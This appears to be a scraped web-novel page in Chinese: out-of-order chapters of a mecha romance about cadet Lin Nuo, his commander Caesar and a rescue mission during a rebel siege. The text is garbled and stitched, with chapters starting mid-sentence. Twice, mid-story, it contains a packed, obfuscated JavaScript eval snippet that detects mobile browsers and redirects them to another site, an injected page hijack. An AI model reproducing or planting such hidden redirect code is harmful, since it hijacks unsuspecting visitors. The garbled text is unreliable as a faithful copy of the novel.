恺撒把手里的纸杯转了转,仰起头,将林诺喝剩的小半杯水饮尽了。 然后对他亮了一下空杯底。 “不是这次。” 林诺想起身,试了两次,还是没能从沙发上站起来。 “没关系,你可以先在这里休息。” 恺撒俯身按开林诺身后的储物格,“我在这里放了些书。” 顿了顿,又说:“最下层是关于机甲格斗的。” 林诺腿上摊着一本《机甲格斗入门》,旁边叠着恺撒的军装外套。 书是肯定看不进去的,他满脑子只想好好复盘今天是什么状况,什么董事的商业合作,而两个顾问现在又去了哪里。 但复盘也并不很顺利,尚未完全清醒的大脑是一部分原因,而另外一部分原因,就是正坐在他对面桌后的恺撒。 恺撒正在审阅一些军事材料,淡灰色的义眼垂着。 林诺注意到,男人的左耳还挂着耳麦,可能是在同步听取什么很重要的报告。 他微微张开嘴,又闭上了。 “有什么事想问我吗?”恺撒温和地说。 林诺:“……长官,我不太记得清自己为什么会在这里。我本来是跟我们学校的顾问在一起,准备来要塞港口跟别人见面的。” “你当时看上去很不舒服,我就把你带回来了。” 恺撒言简意赅,一对淡灰的眼珠微抬,“不过,你们约见的人是谁呢?” 林诺对校外的事实在一窍不通,其实拿不准什么事该说、什么事不该说。 但看见恺撒的眼睛,他又觉得,自己应该是什么都能跟恺撒说的。 “是以太集团的一位董事,给中央军校捐赠过训练机甲。科、科恩……” 林诺艰难回忆,“科尔顿……” 恺撒轻声:“科尔曼·波弗提多。” 他念完这个名字,左侧眉毛似乎微妙地抬了一下。 林诺看见他的表情,试探地问:“是不是联邦里很重要的大人物?” 在回答这个问题前,恺撒稍稍停顿,在听耳麦里的内容。 然后,他又看向林诺,微微笑着说:“现在应该不算大人物了吧。” 话音刚落。 宙斯要塞警笛长鸣。 “……紧急集合通知……联邦救援部队紧急集合……私人飞艇G9054于14时在宙斯要塞起飞,于第二跃迁点发生坍缩意外……舱体损毁程度94%,目前仍未勘探到生命体征……” 门口一阵杂乱的脚步声远去。 林诺手里拿着书,茫然听着警报里的内容。 G开头的私人飞艇……他怎么好像有点耳熟? 两个顾问带他过来时一路聒噪,似乎曾提到过“下午14点的航班”、“私人飞艇G90……”之类的词句来着…… 恺撒没什么反应,只是这时才把耳麦摘掉。 他打开房间里的声音屏蔽场,刺耳的警笛声随即降低几十个百分比,变成沉闷的背景音了。 “你对机甲很感兴趣。” 恺撒看出林诺的心思不在书上,便主动找了个话题,“为什么?” 林诺:“因为……” 他先看了眼恺撒,又很快撇开头,开始各种看房间里的摆设,就是不去看对方。 等全都看个遍了,他才很酷地说:“因为我的技术就是可以进机甲系。” 恺撒莞尔,也不知道是想起了什么。 他又说:“所以,你已经通过机甲系考核了?” 这句话狠狠戳中了林诺的痛点,他一下把头转回来: “他们不让我申请机甲系!我的精神力、体检、6年军校成绩都符合申请标准,但他们却强制要求我修改申请……” 他讲到一半,莫名感到一点羞耻,就把话尾压住了。 ……怎么搞得像在委屈撒娇似的。 恺撒并不在意,还是和缓地问:“为什么要你修改申请?” 林诺:“因为我……” 他停顿一下,颌部的咬肌微微绷紧了。 那 6. 第 6 章 《你们不要总想标记Beta啊》全本免费阅读 林诺蹲在顾问办公室门口角落,看走廊里的学员来来去去。 他回校后,马上按照恺撒的嘱托大量喝水,把自己灌成一头水牛。 几趟厕所跑下来,头脑彻底清醒了。 教官可能对学员下药这种事,于林诺的三观而言,基本就是骇人听闻的程度了。 他小时候因为罕见病不爱讲话,被小朋友们误以为是冷酷校霸一枚,但他既没有翻墙逃过课、也没有欺凌过同学,还经常把放学路上捡到的小猫抱到领养基地去。 9岁前爸爸妈妈教他认真做事,认真做人,连拿走隔壁工坊的新零件玩忘了报备,都是要被打手心罚站的。 9岁后父母过世,小叔也立刻办手续把他接了过来,所以除了父母双亡的精神创伤,他其实并没有在物质和教育上被亏待过。 等药效过去,林诺把腕表调成录制状态,给自己最信任的教官留了一个坐标,就单枪匹马来办公室堵人。 既然是想不通的事情,那他就来要一个答案。 最好是能把两个顾问全都扭送联邦警察,那么以后就不会再有别的同学受害了—— 因为不同意商业合作就被蓄意下药报复,这放哪都是没天理的事。 林诺想得很好,可他在门口蹲点蹲到天黑,也没等见两个顾问回来。 倒是格斗教官下了课,就匆匆跟着坐标赶来。 看见林诺没事,他才松一口气:“你在这里做什么?你今天下午和明天不是都请假了么?” 林诺仍在脑内排练盘问过程,所以讲话也硬邦邦的: “我要等普洛蒙斯顾问和罗伯顾问回来。” 格斗教官更加纳闷:“他们下午就递辞呈回地球了,你等他俩做什么?” 又说:“走得还挺急的,学校都还没给批复,他俩就走了。隔壁2班的教官也在说一直联系不上。” 林诺一愣,慢慢地从墙边站起来。 一种奇怪的无措感漫上心头。 在他过往的人生里,这种无措感其实并不是第一次,也不是最后一次。 他下意识看行政区上方的天穹。联邦屏障一如既往全星环,现在正按照行星运转周期,模拟出漫天繁星的夜空状态。 依然完美无瑕。 而正如他预感的一样。 往后,林诺再也没有见过这两个军校顾问。 * 凌晨四点,林诺在舍友的歌声里准时醒来。 他依然快速地在被子里穿作训服、绑枪带,只是穿到一半,他才发现这件常穿的作训服的领口,好像被洗得发白了。 ……急得他火速跳下床,埋在衣柜里翻一件新点的作训服。衣服抓到鼻尖前嗅嗅,还残留着肥皂手洗的香香。 那就这件了。 林诺这才把作训服换掉,套上军靴,蹑手蹑脚开门溜出去。 虽然中途被找那两个顾问的事打了岔,但下午在恺撒办公室里的窘迫感,又在此刻卷土重来。 他还记得自己当时张口结舌,连连说了两个“我没有”,对上恺撒含笑的眼神时,才默默低下头承认。 “因为他们不给我申请机甲系……” 他垂下脑袋,尾音在恺撒听来,又有那么一点点委屈告状的意思了。 “今晚还是一个人来。” 恺撒看着他笑,“我会在训练场等你。” 林诺在夜色里飞奔。风把他黑色发丝扬得很高,露出神采飞扬的俊美眉眼。 他还是从机器人通道钻进去,然后发现,半个月来总是漆黑寂静的训练场,现在开了一排明亮的照射灯。 灯光从他钻出来的地方一路指引,尽头处,就是正在舰桥上查看光脑的银发男人。 恺撒站的位置比较高,所以他第一眼就发现林诺来了。 林诺得从对面的舰桥下去,然后穿过整个训练场,再向他走上来。 一开始少年的步伐很轻快,下楼梯的时候噔噔蹬蹬的,有种小小的雀跃。 不过大概性格使然,噔噔到一半,林诺好像又不愿意表现得太雀跃了,于是速度立刻放慢,两手也顺势插到兜里,总之先起到一个造型上的作用。 然后一边四处扭头张望风景,一边不太在意似的闲逛过来。 闲逛到一半,他似乎又突然发觉,这种姿态是对高级将领的不尊重。 于是赶忙把手从兜里取出,放在身体两边摆着,最后走标准军步踏上舷梯。 短短一段路,八百个假动作。 恺撒脸在对着光脑,实则余光全都看进眼里。 他不动声色。 只是轻轻抬手擦了下鼻尖,顺势把唇边的弧度挡住。 林诺立正行礼:“长官好!” 恺撒温和回应:“晚上好。” 他似乎比林诺到得更早,面前有一个像是刚从机甲里拆出来的驾驶舱,手里还拿着林诺熟悉的东西—— 军校每年体检时使用的精神力检测仪。 见林诺的视线落向自己手中,恺撒说: “联邦现在常用的精神力检测仪,只能检测人类精神力在非驱动状态下的数值。因为精神力在驱动状态下是有攻击性的,有概率会使检测仪失灵。” 林诺依然背手跨立,脸上就是一个乖乖听课的表情。 恺撒说完后,他自己也回忆了一下教材,问道:“可是一般来说,我们的精神力在驱动和非驱动状态下的数值,应该是差得不远的。” “是的。准确来说,在一个相对大的标准范畴内是这样。” 恺撒说,“但是在极小的概率下,会出现一种特例。” 林诺:“特例?” 恺撒手里拿着检测仪,把脸转向他。 他又不接着解释下去了,而是带着微笑,转向一个新话题: “你猜猜当年我在入学的时候,中央军校检测出的精神力数值是多少?” 林诺脱口而出:“9912,是联邦迄今为止最高的精神力记录。” 恺撒微怔,大概是没想到林诺能把个位数都记清楚。不过很快,他摇了摇头,说: “我入学时测出的是3000多。没记错的话,应该是比你要低的。” 林诺的黑眸变圆了:“怎么会这样?” “人脑自有一种保护机制,会对过高的精神力进行压制。因为对人类来说,精神力过高,其实是一件很可怕的事情。” 恺撒说,“尽管目前为止还没有直接证据,但当前学界的猜测是,如果精神力超过人脑能承载的极限,就会大幅度增加神智受损、精神分裂的概率。” “当身体防御机制自发压制精神力时,往往会产生各种各样的不良反应。有些人终生无法驱动精神力,有些人天生免疫力低下,对各种传染病都有易感性。而还有一些人,不知该说幸运或不幸——” 男人那双淡灰的眼珠轻轻一转,盯住了林诺的眼睛。 “他们受压制溢出的精神力,会被用以增强感官,从小就很难在正常刺激环境下生存。如果一直没有得到有效干预,这种人或许会跟精神力过强一样的下场——也就是因为承受不了感官过载而发疯。” 林诺看着他,胸腔里的心脏咚咚乱跳起来。 他不自觉舔舔干涩的嘴唇,磕磕巴巴地说:“那、那我……是不是……” 恺撒再度勾唇:“我们试试就知道了。” 他把驾驶舱门打开,让林诺进去。 林诺刚坐下,就看见恺撒也一弯腰进来了。 机甲驾驶舱一般是单人配置,驾驶座左右只留有很狭窄的空位,是让驾驶员侧身走动的。 林诺本来就身高腿长,恺撒的个子更是目测在1米9以上。 两个大男人挤在同一个驾驶舱里,林诺顿时连呼吸都拘谨不少。 恺撒反手——咔哒一声,还把驾驶舱门给反锁了。 他那漆黑的皮革手套中,用导线擦出一点火花,于是舱内所有仪器同时亮灯,进入启动状态。 林诺好奇地左右张望,感觉这个驾驶舱跟他认知里的不太一样。 恺撒看着他,稍稍思忖,就猜了出来:“你没见过联邦的精神力驱动训练舱?” 林诺:“对。我当年申请过十几次精神力驱动训练……他们不给我批。” 恺撒失笑:“你没有受过精神力驱动训练,竟然也敢上机甲?” 林诺皱皱眉,眼睫一垂下来,眼底的小红痣就不见了。 他把恺撒的话当成跟那些Alpha一样的嘲弄,心想就算你是我最崇拜的英雄,讲话不好听,我一样不高兴。 于是就闷闷不乐地盯着地板,反正不想再跟他讲话。 不过,恺撒只看他一眼,就把他心思全部摸透。 男人很耐心地解释:“没有练习过驱动精神力,激活机甲的精神力就会不稳定。如果机甲在运行状态下突然制停,在驾驶舱内摔伤骨折都算小事。严重的话,可能会导致精神力受损。” 林诺说:“……哦。是这样。” 又小声补充:“可能我的机甲系教材还没看到这里。” 恺撒:“精神力领域的事情,机甲教材当然不会详细写。因为性质特殊,这方面通常都由教官自己言传身教。” 说着,他把元帅大衣脱掉,露出底下的军装衬衣。 然后屈膝半蹲在林诺的驾驶座旁。 林诺还是想扭头看他,被他用指节抵着下巴,轻轻推回去:“看前面。不要总是看我。” 林诺就去看前面的屏幕。那里有一些他看不懂的波段,旁边还有数字,目前的数字是3000。 “精神力驱动是指用机器模拟精神力波段输入,让你下意识调用精神力对抗。” 恺撒说着,无数神经纤维已经从黑暗的舱顶伸出,没入林诺的黑发下方。 林诺不自觉绷紧脊背,黑眸开始覆上银光。 “会有一点点刺激。” 幽暗的训练舱内,恺撒沉缓的嗓音,几乎就在他耳边响起。 随着话音落下,林诺感觉精神海里开始涌进低频波的模拟精神力。 他下意识找对抗的感觉,轻轻松松,就把模拟精神力推回去了。 “3500。”恺撒说,开始上调机器。 林诺还是没什么感觉。 他觉得或许是半个月来的机甲训练,让他提前适应了调动精神力。 所以还是不费吹灰之力,就把模拟精神力推回去了。 “4000。”恺撒说,“可能会激起一些不良的情绪回忆。那是人脑特定区域受到刺激的产物,不用太担心。” 林诺没感觉到有什么情绪回忆。就觉得头皮有点紧绷,于是晃晃头,还是把4000频波的模拟精神力推回去了。 他的视野被银光完全覆盖,所以没看见恺撒盯着面板,唇角笑意在加深。 “4500。” 林诺的手臂肌肉抽搐一下,是这具本就天赋异禀的身体,因本能作出的一种警惕反应。 恺撒注意到了,但没出声,手在继续转动旋钮。 “5000。” 说是迟,那时快,恺撒劈手握住林诺飞起的手腕,免得他一拳把面前的机器打爆。 “……对不起,长官。” 林诺的视野被银光覆盖,什么也看不见,只是觉得精神海压迫感非常强,一直被机器模拟的精神力攻击,很不舒服。 他艰难地驱动相等强度的精神力,想要像之前一样去对抗,但精神力已经被压制了许多年,一时半会没那么容易调出来。 “你的潜力应该远不止于此。” 恺撒扶着显示“5000”的屏幕,淡灰色眼珠却只盯着他的脸,“是到此为止,还是继续呢?” 他看似给了选择,但又轻声补充:“如果今天的结果,能让我们都感到满意——那么明天,我还在这里等你。” 林诺脸上有一层细细的汗,把他鸦羽一样的睫毛都浸湿了。 他眨巴一下潮湿的眼睫,连带眼里的银光都闪烁片刻,然后坚定地说: “我还可以坚持。我要看我的精神力上限到底在哪里。” 恺撒低沉道:“好孩子。” 他对林诺讲话的嗓音,一直都很温柔,但转动旋钮的动作,却多少透出一丝冷酷。 “6000。” 强劲的模拟精神力攻入精神海,林诺竭力驱动所有精神力对抗,双拳都在颤抖着攥紧。 恺撒扫视他的躯体,起身去拿驾驶座下的安全带。 “你能完全信任我吗?” 恺撒说,他直到这时都没记住林诺的名字,于是临时调出光脑看看,又说,“……林诺?” 林诺眼中覆着银光,牙关紧咬,喉间发出一点点类似猫咪呜咽的声音:“唔……嗯。” 于是等他艰难地驱动出6000水准的精神力,并大汗淋漓地平静下来时。 他突然感觉自己的身体动不了了。 “长官?” 林诺视野里只有银光,什么也看不见,用力挣了两下,才知道自己是被绑在驾驶座上了。 他的身体天赋远超常人,因此对自己的肢体有很强的依赖感。 陡然失去对身体的支配权,林诺心里一下开始发慌,脑袋后仰着,漂亮的喉结轻微滚动: “……长官?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12800852|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0点钟,星辉大厦方向!” 又一发子弹呼啸而过,将已经破裂的窗玻璃炸得粉碎。 红方狙击手眼角划破,霎时血流如注。 但她依旧屏息凝神,两枪就把对面狙击手点了名。 然而此前的两次枪响,早已让他们的计划全盘颠覆。 几个学长马上回过身,开始做楼层防线——楼下有近百余人,枪声响过后,他们几乎马蜂般汹涌聚集,隆隆的脚步声,让楼层地面都在震动。 林诺迅速从地上爬起来,捡了枪,去封锁通往楼下的货梯口。 他刚刚扑倒退役特警时,是直接挡在对方身上的,现在有一边的大腿,莫名感觉热麻麻的。 但涌起的肾上腺素,让他整个人都被战意支配,一个星盗刚从货梯门探出头,他就“啪”地一声,让对方的脑袋在货梯里彻底开花! “你……” 刚刚在车上跟他们讲巷战的退役特警,本能地还想替他补两枪。 一看对面都已经摸不着头脑了,不由微微一愣。 但他毕竟前线经验丰富,见林诺面罩上溅着血,胸膛也在剧烈起伏,持枪的手却始终很稳,于是低声说: “回家后记得找个好点的战后心理治疗师。第一次都这样,很快就过去了。” 往楼顶聚集的叛军越来越多,远处隐隐开始传来机甲起飞的声音。 林诺心头一紧,把货梯位交给一个学长把守,自己重新冲向楼顶平台。 枪林弹雨中,那名本该换班的机甲师,现在正避着红方狙击手的位置狂爬塔吊,准备回到老式机甲里去—— 而林诺明白,一旦他把机甲驱动,他们所有人都会死在这座工厂里。 “……林……!!” 红方指挥官喊了一声,又马上闭紧嘴巴——他知道在匪窝里不能喊出林诺真名。 但他眼睁睁看着身边的黑发少年,几乎如豹子般窜了出去,三两下就攀上塔吊,用尽全力把叛军机甲师从舱内抓出来。 他们几乎瞬间开始凶残的打斗。 “……X了圣子的!” 一贯冷淡的红方狙击手骂了脏话。 她闭着一只流血的眼睛,挨个把爬上楼顶平台的叛军点掉。 点了一波又一波,点过工厂楼顶又点远处大厦,人头简直无穷无尽,然而枪袋里的子弹却在急剧减少。 “他们来增援了。” 退役特警冷静地说,摸了腿上的枪带,抽出最后一个弹匣,装上。 “继续战斗,给另一边车队创造时间!” ……林诺跟敌人一同滚进驾驶舱。 他们打得非常凶,一把军用匕首一把开刃短刀,好几次都堪堪从双方的颈侧动脉一厘米处擦过。 老式机甲的驾驶舱非常逼狭,林诺的近战天赋被限制得很厉害,几十回合下来,两个人身上都挂了不少彩,却仍没有分出胜负。 远处机甲飞行的声音越来越近,林诺的瞳孔骤然缩紧,匕首被对方的短刀一下弹飞。 对方露出一个狰狞的笑容。 然而下一秒,他的笑容也僵住了——林诺用腾出来的那只手,攥住了捡到的钢缆另一头。 然后猛地绕过对方脖颈,直接反身蹲跪下去。 叛军机甲师被他当场勒在驾驶座的靠背上,两腿剧烈踢蹬着,用短刀胡乱捅刺林诺的小臂和手背。 林诺一声不吭,大腿肌肉猛地绷紧,将身子又往地面压去。 数十秒后,驾驶座上没了声音。 林诺连把他扔出驾驶舱的时间都没有,补了一枪头部,就直接关闭舱门,着手驱动机甲。 强悍的精神力汹涌贯入,就连垂落少年发间的神经纤维也猛烈震颤。 机械音还在板板正正读数:【同步率,13%,48%,69%……】 读到80%时,庞大的钢铁巨兽,已然从林立的高楼间站起。 火光在它战痕累累的外壳上跳动,它抬起眼灯,连脑袋都没来得及转,就一手护着工厂,一手朝侧前方弹出光盾—— 一发来自叛军机甲的光束炮,结结实实砸在了光盾上。 光束四分五裂,炸开血红的焰火。 它偏过头颅,望向正疾驰而来的叛军机甲。 ——这一幕,即像游戏开始,也像游戏结束。 52.第 52 章 “已成功控制目标。”林诺说。他眼中银光暴盛,几乎把额前的黑发都染成银白色,“马上掩护你们撤离。” “林、1号机甲师,你没受伤吧?!” 林诺紧了紧操纵杆。 他两只手上全是深浅不一的刀痕,血淋淋一片,连那双好酷的战术手套都捅烂了——他是真的很喜欢这双手套,所以目光落在上面时,心里特别难受地颤了一下。 “没有。”他果断说,“我去阻击叛军,工厂附近的幸存者就——” 他没法把后面的“交给你们”几个字说完。因为第1台叛军机甲已经突到他面前了。 两台机甲的拳头轰然相撞,巨大的冲击波在空气中震荡开来,甚至把刚爬上楼顶的叛军,也一并掀翻出去。 “走!” 蓝方指挥官大吼一声,趁乱从墙角冲出,一路突突下楼。 倒是几个退役特警,鲜少能在这样近的距离看到机甲战斗,不由回头多看了几眼:“好小子!” 林诺当然听不到这声赞叹。 除去距离因素,他已经把自己的专注度和精神力全部提升到极限。 他抢到的老式机甲,远比对面机甲要落后整整半个世纪,但两拳相接过后,却是他先拔出背后的链式钢刃,一击贯穿对面的驾驶舱。 “轰——” 钢刃跟机体摩擦产生的火花,引爆了叛军机甲的核心炉。 滚烫的气焰冲天而起,近处的道路和建筑物都被瞬间熔毁。 林诺猛地想起,工厂附近还有幸存者,于是张开双爪,一把抱住还在连环爆炸的机体,瞬间抬升至百米高空。 “……什么?再说一遍?” 阿卜杜勒猛然回头。 他第一反应就是恺撒在驴他,他都冒险把22艘军校预警舰全送走了,却还是得到了有人夜袭占领区的消息。 但打开光脑,屏幕里却是一具老式机甲单枪匹马悬停高空,钢刃斜指脚下,冷眼俯瞰着四面八方围来的敌军。 “这不太像是恺撒的行事风格。” 旁边的星盗参谋也很狐疑,“按照同行兄弟的情报,如果那家伙决定插手,那您应该会是第一个被嘎掉的人。” 阿卜杜勒狠狠瞪了他一眼,劈手夺过通讯器: “D3、D4地区作战单位向北移动。那家伙估计是多管闲事的退役机甲师,把他包圆了炸上天。” “指挥部,观察到第二目标附近敌军,正在向我移动。” 林诺说,机甲到手,他再次拥有挑高视野,“请指挥突袭车队控制第二目标。完毕。” 按照作战计划,第一个把机甲抢到手的人,必须承担最重的战斗任务——阻击叛军,吸引火力,拖延时间让队友把第二、第三台机甲抢到手。 等队友抢到其他机甲,作为机体驱动速度最快的机甲师,他还必须承担起最核心的救援任务。 从地面轰向老式机甲的光束,密集得就像发光的暴雨。 光束不再是联赛时的模拟光束,刺向他的光刃,也不会只让机体判定僵停。 老式机甲之所以会成为淘汰品,是因为它的防御,远远跟不上机甲攻击武器的研发速度。 新型机甲的粒子光刃但凡擦到机体,它的外壳马上就会熔毁出一个洞。 林诺猛地一推操纵杆。 老式机甲以不可思议的速度,在高空腾挪闪避,随后架起臂铠上的光盾,直向地面俯冲而来。 老式机甲从高空砸落,一个豹子打滚,从挥扫的光刃下躲过。 随后一爪从背后扣住敌方腕部,脚抬起对准敌方机甲尾部轴承,用尽全力一个左正蹬。 “砰!!” 这一脚蹬得炸出了音爆,让敌方机甲从建筑物的空隙中,一路疾退栽进水库。 老式机甲把对方连着光刃的机械爪给掰了下来,还把断爪当成剑柄抓着,迅猛扫落身后的两发爆能弹。 紧接着,它又在激烈的打斗中,掰走了另一台机甲的最新型光盾。不仅如此,它眼灯一阵疾闪,盯上了对方背后的运兵舱。 “哎怎么一直抢东西。” 叛军机甲师忍不住大喊。 下一秒,热度高达80000摄氏度的粒子光刃,从一个吊诡的角度贯穿了他的驾驶舱,把他连人带驾驶座一同气化。 “报告指挥部,已控制第二目标。” “报告指挥部,已控制第三目标。请指挥机甲师1号,随车队撤离。” 林诺在包围圈里足足恶战了一小时,终于听见耳麦传来新的指令。 老式机甲抬起眼灯,朝远处张望,果然看见两台机甲已经先后升空,并凌空打出一发信号弹。 有队友分担火力,意味着他的作战重心,可以正式从阻击转为救援。 林诺立刻压低机体重心,几乎在贴地飞行,一个音爆就从包围圈里丝滑脱身。 恶战过后,老式机甲整体没有受到特别致命的损伤,只是他一直觉得一条腿热麻麻的,好像有液体在沿裤腿往下淌。 但战场容不得他的注意力分散一秒。 一声几乎震聋耳膜的炸响,老式机甲侧翻躲过一发光束炮,随后果断以震荡弹回击。 在对方视野被气浪遮蔽时,它以机甲师无法想象的速度凌空绕后,光刃自上而下,悍然击碎敌方用来输出光盾的臂铠。 “救援车队请告知我幸存者位置。” 林诺说,他被炸得耳朵里一片嗡鸣,“请提高音量,我的听力似乎有短暂下降现象。” 救援车队没有立即回答,而是冒着被发现的危险,给了他最直观的坐标指示: 又一枚信号弹被炸上了天。 林诺知道其中利害,马上抽身回防,一路神挡杀神佛挡杀佛,赶在平民的救援车队被叛军包围前,一记臂铠光束把地面清空。 “那个幼儿园。” 距离靠近,救援组可以向驾驶舱投送文字,他们意简言赅地告诉林诺。 “车队一次可以消化22名儿童,但园内还有68名儿童和14名工作人员。” 林诺卸下背上的运兵舱,回道:“一次带不走,我再进来。” 叛军的运兵舱,其实也不过卡车车厢大小,里面两排长凳,一般可以运输8-10名成年士兵,自带随重心变化的陀螺仪。 第一次进敌占区,他们有抢夺机甲的任务,自然不可能随车携带大容量的运载工具。 林诺看着地面的幸存者忙忙碌碌,已经想好第二次进来时,要沿路掰两节悬浮列车的车厢。 那玩意也有陀螺仪,至少不用担心机甲快速行进时,幸存者们在里头滚来滚去。 幼儿园的教师们灰头土脸,抱着孩子们往运兵舱里送。 小孩们估计是吓傻了,全程也没一个人哭闹。 其中一个孩子下意识仰头,就见那具比大厦还高的钢铁巨物,刚刚还在不远处哐哐乱杀,此刻却正在烟尘中单膝跪立着。那双凶悍眼灯垂落,凝视着他们的模样,莫名显得有点柔和。 “机甲师1号,加快速度。” 蓝方指挥官在耳麦里说。 他们一直在拖延叛军火力,甚至还为车队清空了撤离路线。 林诺见运兵舱已经塞满,立刻示意车队关闭舱门。 还没来得及进舱的幸存者摸着门,脸上顿时露出了惊惧的表情。 “不……不要把我们留在这里!求求你们!” “请告诉他们,我一定会再回来。” 林诺说,他把运兵舱固定在胸口,用光盾保护着,“而且是很快。” 地面救援车队如实转达,但幸存者们表情呆呆的,似乎不太敢相信,然而也已经放弃挣扎。 林诺一咬牙,不再耽搁,护在救援车队后方,一路跟追击的叛军交火,并在20分钟后,径直滑行进入要塞安全区。 宙斯要塞内的难民,看见一台叛军机甲竟然朝他们袭来,吓得连连后退逃窜。 然而机甲只是猛地屈膝跪地,把胸口的一个运兵舱放下,然后连防线都没进,直接转身就往敌占区掠回。 “……这么快?!” 救援车队没跟上,只好先去安置被带回来的幸存者。 接下来的近两小时,林诺开始在敌占区和要塞来回穿梭。 当他第六次进入敌占区时,明显感觉敌方强度提了一个档次,显然是第一梯队的叛军机甲师上线。 队友抢到了四台机甲,在掩护林诺第七次进出时,被敌方制停一台。 但好在核心炉没有爆炸,机甲师及时弹出了。 “他在弹出时被子弹击中胸口。有防弹背心,但肋骨可能断了两根。” 林诺第七次放下救援舱,自己也从驾驶舱里爬出,背着一个学长下来。 他来回这么多次,要塞的军民也都明白他们在干什么,林诺一出舱,立即有军医和平民志愿者飞奔着围过来。 听他快速交代过情况,志愿者合力把学长抬上担架,军医却一眼看见他裤腿上的大片血迹。 “——腿,你的腿!” 军医在后面追赶着大叫。 可是驾驶舱门已经被关上。 第十二次救援,敌占区里的队友机甲,只剩两台。 林诺放下幸存者,自己也再次从驾驶舱出来,脸色很白,但只哑声说了一句“水”。 难民们马上张罗着给他拿水,林诺拉起一点面罩,喝一半,兜头淋一半,让持续呆在高热驾驶舱里的身体降温。 紧接着,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12807156|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没忘记找垃圾桶丢空瓶子,又闷头往驾驶舱爬。 “……你别去了!”有人在后面喊,可能是他某趟带回来的幸存者之一。 “我还有两个战友在敌占区。” 林诺简短解释,舱门关上,战损累累的老式机甲,再次嘶鸣着启动。 第十六次,他成功把两个战友都拖了回来,还带回一车困在地底工程里的幸存者。 可是一场永无止境的战争,制造的受难者太多了,装载幸存者的载具永远不够大,他每次进出,总要把一些人留下,并跟他们承诺会再回来。 到现在为止,敌占区里已经没有他的战友,可他的承诺还是没有完成。 “林诺!” 红方指挥官在耳麦里厉声吼他,他在联赛跟林诺交过手,能看出老式机甲的行动已经开始迟缓。 “够了,你给我下来!人的能力是有限的!” “……” 林诺松了松僵硬的手掌。 老式机甲的眼灯缓慢抬起,隔着防线,望向对面的叛军部队。 叛军机甲不敢进军事安全区,但对面一台机甲,就把它们的防线杀穿了16次,还次次往回带人,对阿卜杜勒简直是奇耻大辱。 此时此刻,叛军机甲都只蹲在要塞防线以外几百米,只等林诺出来,就把他围杀到死。 林诺看了看防线对面,开始脱手套。 他判断自己的身体也到了极限,再去一次,很可能就会陷在里面。 但与机甲相连的精神力,还未及时收回,他借着机甲的视野,偶然看见地面上仰望他的人群。 人群里有一个母亲,一个孩子——他能记得他们是谁。 第16次进敌占区时,运输舱容量依旧不够。 而他们本来是一家人,是一对父母、一个孩子和父亲的兄弟,最后,他们只让母亲和孩子先进了他的运输舱。 见机甲朝他们低头,那对母子也愣了一下。 他们仰着脸,又张了张嘴,但最终什么也没说。 没有向林诺哭诉,也没有更多哀求。 只是沉默地把头垂下去,将悲恸的表情挡住。 “我最后去一次。” 林诺把破烂的战术手套重新拉紧。 “……我不是——这小子真的很难杀我X,到底怎么回事??” 阿卜杜勒在临时指挥部里大步转圈,又暴怒砸击桌面。 他的目标是要跟联邦政府谈判,谈完了把引力塔一炸走人,途中有那么几个特警或者想装英雄的平民来救人质,能杀就杀光,杀不掉跑了也就算了。 但问题是,连着进来捞16次也太过分了,当他的占领区是公共厕所? “老大,前线兄弟说他又出来了,就在宙斯要塞两百米前打着呢。” “……” 阿卜杜勒捏住眉心,“叫艾斯特过来,准备上机。” 他本来不想这么早派麾下的王牌出场,那是留着对付联邦军的,但奈何对方实在欺人太甚。 而作为经验足够丰富的前上将,他也观察出对方明显不是退役机甲师,而很大概率是天赋极高的机甲系学生。 但好在对方到底还算是个人类,这么长时间高强度战斗,明显能看出迟缓。 他打算让王牌上阵,亲自坐镇指挥,把那个机甲师小孩活捉回来。 至于俘虏后要怎么对待—— 对方毁了他13具机甲,将近三个班的兵力,他会让对方知道被迫注入安非他命保持清醒、同时被虐打至死是种什么感觉。 “人呢?我X。” 阿卜杜勒朝门外怒吼,“我说了让艾斯特过来!” 门外静悄悄的,只有夜风无声掠过。 连卫兵换岗的脚步声都停了。 阿卜杜勒脑中,突然闪过参谋说的某一句话。 猛地反身按住枪套! “……我.操!!你特么根本不讲信用——” 月色下,一对尖尖的狼耳阴影,无声朝门内渗入。 *** 林诺一枪打碎敌方机甲的核心炉,朝敌占区腹地再次突入。 他依然用运载舱装满难民,还特地看了眼那对母子的两位家人在不在。 ……无论如何,至少他们可以不用失去彼此了。 但在往宙斯要塞方向回撤时,他明显感觉似乎不太对劲。 如马蜂般密密麻麻拦截的叛军机甲,此刻也不知道都去了哪里。 紧接着,远处的要塞方向,传来一阵低沉的嗡嗡声。 他像正在宙斯要塞的其他人一样,猛地刹住脚步,朝天空张望,惊愕不已。 ——一整支联邦正规军机甲部队,正风驰电掣掠过天际,朝木星环城袭来。 53.第 53 章 ……恺撒足足在土星港口等了4个小时。 在预警舰降落,乃至那扇舱门打开以前,他都不认为这是什么苦差事。 他与他的年轻恋人聚少离多,如果没有这次叛军事件,他们或许还要再熬半个月才能见上面。 银发男人抱着胳膊,倚在港口栏杆耐心地等,唇角一直勾勾的。 他脑中甚至想象了非常完整的相遇情景: 预警舰降落,黑发小猫闷头闷脑冒出来,然后咚一下子跳到舰桥上。 小孩在木星环城的叛军那受了惊,再加上以他的性格,肯定要为不相干的受难平民难受,所以初始情绪一定会很低落。 他会垂着头,拖着步子,跟着大部队恹恹地往港口里走—— 直到一头撞到恺撒身上。 